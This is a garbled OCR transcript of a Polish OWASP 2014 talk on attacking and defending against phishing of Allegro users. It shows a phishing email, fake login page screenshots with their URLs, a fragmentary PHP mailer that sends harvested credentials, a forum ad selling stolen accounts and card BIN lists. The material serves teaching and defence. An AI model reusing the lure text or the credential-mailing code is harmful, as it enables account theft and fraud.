atapli]:soht;?c? na :'
allegro

02 grudnia
OWASP 2014
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Ilosc Incydentow bezpieczenstwa
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Wrazliwe dane:

Hasta, loginy
Dane kart
kredytowych
Dane dostepowe
Prywatne dane

uzytkownika
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Wspolne cechy ?
Pieniadze
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Od: L |

Do: ]

DW:

Temat: FW: Twoje Allegro konto w zostalo zablokowane

—— Qriginal Message —

From: Allegro
To:

it R ——"
Sent: Wednesday, November 26, 2014 11:00 AM
Subject: Twoje Allegro konto w zostalo zablokowane

allegro

Dear Allegro uzytkownika,

Twoje konto w Allegro zostanie zawieszony W ciagu najblizszych 24 godzin.

Nasz automatyczny system wykryl, Ze nie potwierdzic swoj adres e-mail z Allegro od pierwszego dnia twoj zarejestrowany.

Kliknij ponizszy link, zaloguj sie podajac swoja nazwe uzytkownika Allegro oraz hasta, zostaniesz przekierowany do do powierzchni profilu 1 bedzie prosi¢ o e-mail / login i hasto.
Bezpiecznie wprowadzi¢ e-mail / Nazwa uzytkownika 1 hasto, aby zakonczy¢ etap potwierdzania 1 weryfikacji adresu e-mail z Allegro.

KLIKNIJ TUTAJ ABY SPRAWDZIC Adres email.

Nasz zautomatyzowany automatycznie zawiesic 1 zablokowac konta Allegro, jesli nie potwierdzi swoj adres e-mail, w 24 godzin od otrzymania tej wiadomosci.

Jak nigdy nie bedzie mogt sie zarejestrowac lub zarejestrowac nowe konto, jesli obecne konto zostanie zawieszone.

Zespot Allegro konto

[ Phishing - atak i obrona
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e 3 theyaoilibrary.org/tripsa.htmi C | l&l~ Bing

allegre

zaloguj sie

7 Mie masz jeszcze konta na Allegro?
e-mail lub login .
zal®z konto

haslo
(nie pamietam hasla)

zaloguj sie

f Zzaloguj sie z Facebook

Zalogowanie oznacza akceptacje Regulaminu Allegro w akiualmym brzmieniu
(ostatnia aktualizacja: 18-09-2014, wiece] informacy na stronie Mowosci | komunikaty).

* nie dotyczy csb, ke rozwiszaly umowe 2 Allegro

allegrs Cafe Onas  Komtakt Praca  PoznajAllegro  Regulamin  Pomoc  Wersja Mobilna
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\ (' @ Grupa Allegro Sp. z 0.0. (PL) | https://ssl.allegro.pl/fnd/authentication/7response_type=code&iclient_id=tb55Ff3cRxEyspDN&redirect_urizhi ¥ & E' Bing P+ @
o

Tylko teraz Raty 0% od PayU dowiedz sie wigcej X

moda.allegro zedmiot moje allegro ri: nto zaloguj

zaloguj sie

Nie masz jeszcze konta na Allegro?

e-mail lub login
= [ zatéz konto

hasto” |
(nie pamigtam hasta)

zaloguj sie

f  zaloguj sie z Facebook

Zalogowanie oznacza akceptacje Regulaminu Allegro w aktualnym brzmieniu
(ostatnia aktualizacja: 27-11-2014. wiece] informacji na stronie Mowosci | komunikaty).

* nie dotyczy osbb, ktdre rozwiazaty umowe z Allegro
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dezOr 2013-07-12 12 Ostatnio edytowany przez dezOr (2014-0
Active Member
Zarejestrowany: 2013-07-10

Posty: 186
Plusiki: 38

P

-25 19)

*Konta Allegro niezweryfikowane
(dostajesz email z przypisanym kontem allegro, weryfikujesz aby czy dane pasuja do allegro,
Paczka: 100szt - 100PLN

*PayPal oraz eBAY niezweryfikowane
PayPal lub eBay: 50 szt- SOPLN
PayPal lub eBay: 100szt - 90PLN

*Pakiety zweryfikowanych pod wzgledem dzialania skrzynek email

Na mailach znajdziesz wszystko poza kontami allegro bo te odkladam do dalszej sprzedazy
emaile zostaly przeskoanowane automatem po katem allegro reszta nieruszona

nikt poza wlascicelami na nie nie zagladal, cena tez dostoswana
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v & ||[&~ sing

\ (' | % | @ soligorsktorg.by/logs/...../cgi-bin/de-DE/ws/index.php0feecefic2d1081 ad c5d3ebe?dd11794a
A

PayPal

& Sie missen lhre E-Mail-Adresse und lhr
Passwort eingeben. Versuchen Sie es bitte
erneut.

Loggen Sie sich in Ihr
Konto ein.

E-Mail-Adresse
! )

Passwort

| |

E-Mail-Adresse oder Passwort vergessen?

Alles in einem.
Kreditkarte oder Bankkonto? Sie haben die Wahl!

Einfach. Und meistens kostenlos.

Ein PayPal-Konto zu eréffnen, kostet nichts. Wir
berechnen auch keine Transaktionsgebihr, wenn Sie
etwas einkaufen. Ganz egal, welche Zahlungsquelle Sie

wiéhlen.
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Spear phishing
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* 4 sl moilotoli.ru

nponaTe TOBap MOR MONOTOK JaperncTprpoBaTeCA

molotok

Oobpo noxanosaThb!

AnmuHmc Tpauua Molotok smkor ga He npocuT coobwmTe napons no e-mail uwnw gpyrum cnocobom. MbopMauwo o Tom,
KaK COXpaHUTE CBOWM faHHbie B BesonacHocTw, Bu HaRneTe B LiedTpe BesonacHocTi,

MNepewin pas Ha Molotok? Yxe saperMcTpupoBaH

« MokynaiiTe ¥ NPOAEBAIRTE € YA0BONLCTBUEM. MNcesgoHus naK e-mail
¥

(Ewe He NogTEEPANIN CBOR

e ObwalTecs C eQMHOMLILLNEHHMKAMM. MNEKTPOHHBIA aapec?)

* ByasTe yBepeHs B besonacHocTi caenox. MNapone |

(3abbum napons?)

JaperncTpuposaThca =

BBOA NCEB40HMME U NAPONA 03HAYAET, 4T0 Bkl NPpUHUMaeTe CornaweHne o NpegocTaBNeHu YOmyr u
Nonowenre ob onnate yomyr Molotok B Tekywen pegakyimn.

BOATI

m
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‘ ¢V ssl.moilotolk.ru >

molotok




allegro

&= > @ controlyourexpenses.com/konto-Zaloguje/ Allegro, htm! [ E - Bing P ‘, -n- q. Q ;- - '_: =

Strona korzysia z pikiw cookies w cels realizac ushug i zgodnie z Poltyka Pikiw Cookies. MoZesz okreShi wanunki przechowywania b destepu do pllkdw cooties w Twojej przegiadarce »

Tylko teraz Raty 0% od PayU dowiedz sie wiece]

Strefa marek E nada.allegro wystaw pr. o noje allegro zal¥z konto

allegro

zaloguj sie

Nie masz jeszcze konta na Allegro?

e-mail lub login " |
| zal ¥z konto

haslo
(nie pamietam hasla)

zaloguj sie

f Taloquj sie ¥ Facebook

Zalogowanie oznacza akceptacje Regulaminu Allegro w aktualnym brzmieniu
(ostatnia aktualizacja: 21-11-2014, wiecej informacji na stronie Nowosci | komunikaty)

* nie dotyczy os@b, ktere rozeiazaly umowe z Allegro

[ Phishing - atak i obrona




alleqro

Plik Edycja Widok Wpyszukiwanie Terminal Pomoc

<div class="auth auth-wre “-right ">
id="auth-form" action=" " method="post" class="alle

<dlv class="form-group hlidden" >

<input type="hidden" id="userForm redirectlUri
="form-control”

® 191t h:

value="https://ssl.allegro.pl/fnd/lLanding-page/

name="userForm[ redirectUri]™
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"Client IP : ".%ip."\n"

"HostName : " .$hostname,"\
$rnessage "$messagei\n";
tme: . + Lreated in 2014 [ fTlow
$send=" oF

$subject = " | $ip";

$headers = "From: flo<=ame@ll.com=":
$str=array($send, $IP); for

if(mail ($send,$subject ,$rnessage, $headers)
mail ($Send,$subject ,$rnessage,$headers) ;
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- -
mmmmmmmmmm
441901  Visa 101 Lmrr:f{Esgfgfs oF ICEA BANCARD N/A N/A 245 203 thzm 4 |1_| Add
518052 MasterCard 101 ”NWEEEEE‘:‘EEE oF BANK ONE MICHIGAN N/A N/A 113 208 Frf'ﬁgi 4 |Z|I Add |
514400 MasterCard 101 Lmrr:f{Esgfgfs oF SHAZAM INC N/A N/A 232 208 Frz’]hggi 4 |Z| Add
420011  Visa 101 mn:ﬂs:fgfs oF CTCEEC.U. CREDIT  CLASSIC 330 208 Fr?;:]ah:'l 4 |Z| Add |
454008  Visa 101 DOMINICAN REPUBLIC BANCO BHD S.A. CREDIT  CLASSIC 54 73 Fr::gg‘l 4 |Z| Add |
420057  Visa 101 ”NWEEEEE‘:‘EEE oF CARD SERVICES FOR C.US INC N/A N/A 109 208 Frf'ﬁgi 4 |1_|I Add |
452016 Visa 101 CANADA THE TORONTO-DOMINION BANK CREDIT  CLASSIC B B0 Fr:sjl‘gg‘l 4 |Z|I Add |
543365 MasterCard 101 ”NWEEEEE‘:‘EEE oF HOUSEHOLD BANK ES.B N/A N/A 163 20% Frf'ﬁgi 4 |1_|I Add |
408640  Visa 101 JAPAN UF] CARD COMPANY LIMITED CREDIT  CLASSIC 70 433 Fr:sjl‘gg‘l 4 |Z|I Add |
402520  Visa 101 NORWAY VISA NORGE A/S DEBIT  CLASSIC 93 508 Frf'sfﬂhgi 4 |1_ .|, Add |
551502 MasterCard 101 Lmrr:ﬂEsg,:gfs oF MIDWEST PAYMENT SYSTEMS INC N/A N/A 379 208 Fr:sjl‘gg‘l 4 |1_|I Add |
406699  Visa 101 LEBANON CREDIT LIBANAIS SAL. CREDIT GOLD/PREM 110 57% Frf'ﬁgi 4 |1_|I Add |
554460 MasterCard 101 BRAZIL BANCO MERCANTIL FINASA S.A. N/A N/A 52 51% Fr:sjl‘gg‘l 4 |Z| Add
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ABC Bezpieczenstwa
Adres URL

Wyglad linkow w html
Certyfikat SSL
wiadomosci email (wygrana/”’grozby”)

Nagtowki email
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Co robimy w Grupie Allegro ?
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Centrum bezpieczenstwa allegro.pl

& @ poznajallegro.pl/berpieczenstwo; kupuj-bezpiecznie e | |[S)~ Bing P ¥ i & @ & = - %

moda. allegro

a I | o g O ! wszystiie dzialy n A
' &7
aaaa">bbbbb'cccc usun ;
Elektronika Moda Kolekcje Firma Strefa
i uroda szukaj tez w opisach i parametrach | sztuka 1 ushugi okazy
Centrum Bezpieczenstwa
Allegro - Poznaj Allegro - Centrum Bezpieczeristwa - Kupuj bezpiecznie
kupuj bezpiecznie sprzedawaj z glowa bezpieczne konto junior w sieci

I. sprawdi przedmiot
R Bezpieczna strona zakupow

0. zaptac przez PayU

IV. przesytka rejestrowana

Poznaj zasady bezpiecznego kupowania na Allegro
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Phishtank

d

S
PhlShTank Out of the Net, into the Tank — B

Home Add A Phish Verify A Phish Phish Search Stats FAQ Developers Mailing Lists My Account

Submission #2797798 is currently ONLINE

Submitted Now 26th 2014 2:27 PM by risueno (Current time: Nov 28th 2014 B8:02 AM UTC

http: / fcontrolyourexpenses.com/ konto-Zaloguje/Allegro.html

‘ Verified: Is a phish

As verified by Eyktan hjiran Polinka88 frystule ZhoubiCZ Andy80 sathhorn

Is a phish
Is NOT a phish 0%

Screenshot of site View site in frame View technical details View site in new window

Strona korzysta z plikdw cookies w celu realizacji ustug i 2godnie z Polityka Plikéw Cookies. MozZesz okreshic warunki przechowywania lub dostepu do plikdw cookies w x

Twojej przegladarce

Tylko teraz Raty 0% od PayU dowiedz sie wiecej X

m

Strefa marek Inspiracje allegro wy'sta ot moje allegro zal®z k ) zaloguj

alleqro
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Google SafeBrowsing

Zgtoszony przypadek oszustwa!

Strona agricolaguareschi.it zostata zgtoszona jako przypadek oszustwa i
zostata zablokowana zgodnie z ustawieniami bezpieczenstwa.

Witryna oszusta moze podawac sie za zaufane Zrodto, celem tego ataku jest zwykle
wyludzenie danych osobowych i finansowych.

Wprowadzanie jakichkolwiek informacji osobistych na tej stronie moze skutkowac
kradziezg tozsamosci lub inng malwersacja.

Zabierz mnie stad! Dlaczego ta strona zosta la zablokowana?

Jignorui to ostrzezenie

www.googte.com/safebrowsing/diagnostic?site=http:77/aexampte.com
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Dziekuje za uwage:)

dawid.golak®@allegro.pl
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